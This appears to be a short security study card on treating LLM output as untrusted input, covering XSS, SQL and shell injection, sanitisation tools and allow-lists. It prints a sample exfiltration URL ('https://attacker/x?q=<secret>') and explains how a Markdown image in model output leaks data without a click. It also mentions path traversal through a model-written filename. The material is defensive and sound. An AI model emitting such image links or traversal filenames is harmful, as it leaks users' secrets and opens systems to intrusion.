Securitycore
Output validation
Treat model output as untrusted input to the rest of your system.
What it is and why it exists
Improper output handling (OWASP LLM05): model output rendered as HTML (XSS), executed as SQL or shell, or used as a URL. Validate structure and values, encode for the destination, and never pass raw output into interpreters.
Quick prototype
Render the Markdown, run the SQL.
In production, at scale
Schema validation, allow-lists for enums and IDs, HTML sanitisation, parameterised queries, link and image allow-lists (to block exfiltration), and groundedness checks for factual claims where stakes are high.
Vendors and tools
| Pydantic / Zod | Schema validation |
|---|---|
| DOMPurify / bleach | HTML sanitisation |
| Guardrails AI validators | Output validators |
On AWS: Bedrock Guardrails on output (content, PII, contextual grounding); Lambda validation before actions.
How it fails
- XSS via a model-generated link
- A model-written filename containing ../
What the interviewer asks next
Why strip Markdown images from model output?
An image URL like https://attacker/x?q=<secret> is fetched automatically by the browser, leaking data without a click. Only allow images from trusted domains.